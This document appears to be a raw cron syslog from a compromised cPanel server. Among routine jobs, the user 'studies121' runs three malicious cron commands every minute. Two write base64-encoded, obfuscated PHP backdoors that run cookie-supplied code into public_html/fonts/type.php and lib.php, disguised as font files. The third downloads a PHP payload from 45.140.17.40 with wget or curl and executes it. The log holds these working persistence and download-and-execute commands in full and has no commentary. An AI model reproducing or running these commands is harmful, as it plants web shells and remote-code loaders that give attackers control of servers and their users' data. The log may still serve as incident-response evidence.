Sep  7 09:25:01 ip-184-168-122-23 CROND[318]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:25:01 ip-184-168-122-23 CROND[317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:25:01 ip-184-168-122-23 CROND[321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:26:02 ip-184-168-122-23 CROND[425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:26:02 ip-184-168-122-23 CROND[426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:26:02 ip-184-168-122-23 CROND[429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:26:02 ip-184-168-122-23 CROND[428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:26:02 ip-184-168-122-23 CROND[427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:27:01 ip-184-168-122-23 CROND[557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:27:01 ip-184-168-122-23 CROND[558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:27:01 ip-184-168-122-23 CROND[559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:27:01 ip-184-168-122-23 CROND[561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:28:01 ip-184-168-122-23 CROND[715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:28:01 ip-184-168-122-23 CROND[714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:28:01 ip-184-168-122-23 CROND[718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:28:01 ip-184-168-122-23 CROND[717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:28:01 ip-184-168-122-23 CROND[719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:29:01 ip-184-168-122-23 CROND[824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:29:01 ip-184-168-122-23 CROND[826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:29:01 ip-184-168-122-23 CROND[825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:29:01 ip-184-168-122-23 CROND[827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:30:01 ip-184-168-122-23 CROND[1026]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:30:01 ip-184-168-122-23 CROND[1032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:30:01 ip-184-168-122-23 CROND[1030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:30:01 ip-184-168-122-23 CROND[1031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:30:01 ip-184-168-122-23 CROND[1033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:30:01 ip-184-168-122-23 CROND[1029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:30:01 ip-184-168-122-23 CROND[1035]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:30:01 ip-184-168-122-23 CROND[1036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:31:01 ip-184-168-122-23 CROND[1155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:31:01 ip-184-168-122-23 CROND[1156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:31:01 ip-184-168-122-23 CROND[1159]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 09:31:01 ip-184-168-122-23 CROND[1160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:31:01 ip-184-168-122-23 CROND[1161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:32:01 ip-184-168-122-23 CROND[1279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:32:01 ip-184-168-122-23 CROND[1280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:32:01 ip-184-168-122-23 CROND[1283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:32:01 ip-184-168-122-23 CROND[1281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:32:01 ip-184-168-122-23 CROND[1282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:33:01 ip-184-168-122-23 CROND[1436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:33:01 ip-184-168-122-23 CROND[1435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:33:01 ip-184-168-122-23 CROND[1440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:33:01 ip-184-168-122-23 CROND[1439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:34:02 ip-184-168-122-23 CROND[1543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:34:02 ip-184-168-122-23 CROND[1541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:34:02 ip-184-168-122-23 CROND[1540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:34:02 ip-184-168-122-23 CROND[1544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:34:02 ip-184-168-122-23 CROND[1542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:35:02 ip-184-168-122-23 CROND[1663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:35:02 ip-184-168-122-23 CROND[1667]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 09:35:02 ip-184-168-122-23 CROND[1665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:35:02 ip-184-168-122-23 CROND[1668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:35:02 ip-184-168-122-23 CROND[1669]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 09:35:02 ip-184-168-122-23 CROND[1670]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:35:02 ip-184-168-122-23 CROND[1671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:35:02 ip-184-168-122-23 CROND[1666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:36:01 ip-184-168-122-23 CROND[1787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:36:01 ip-184-168-122-23 CROND[1788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:36:01 ip-184-168-122-23 CROND[1791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:36:01 ip-184-168-122-23 CROND[1789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:36:01 ip-184-168-122-23 CROND[1792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:37:01 ip-184-168-122-23 CROND[1926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:37:01 ip-184-168-122-23 CROND[1927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:37:01 ip-184-168-122-23 CROND[1928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
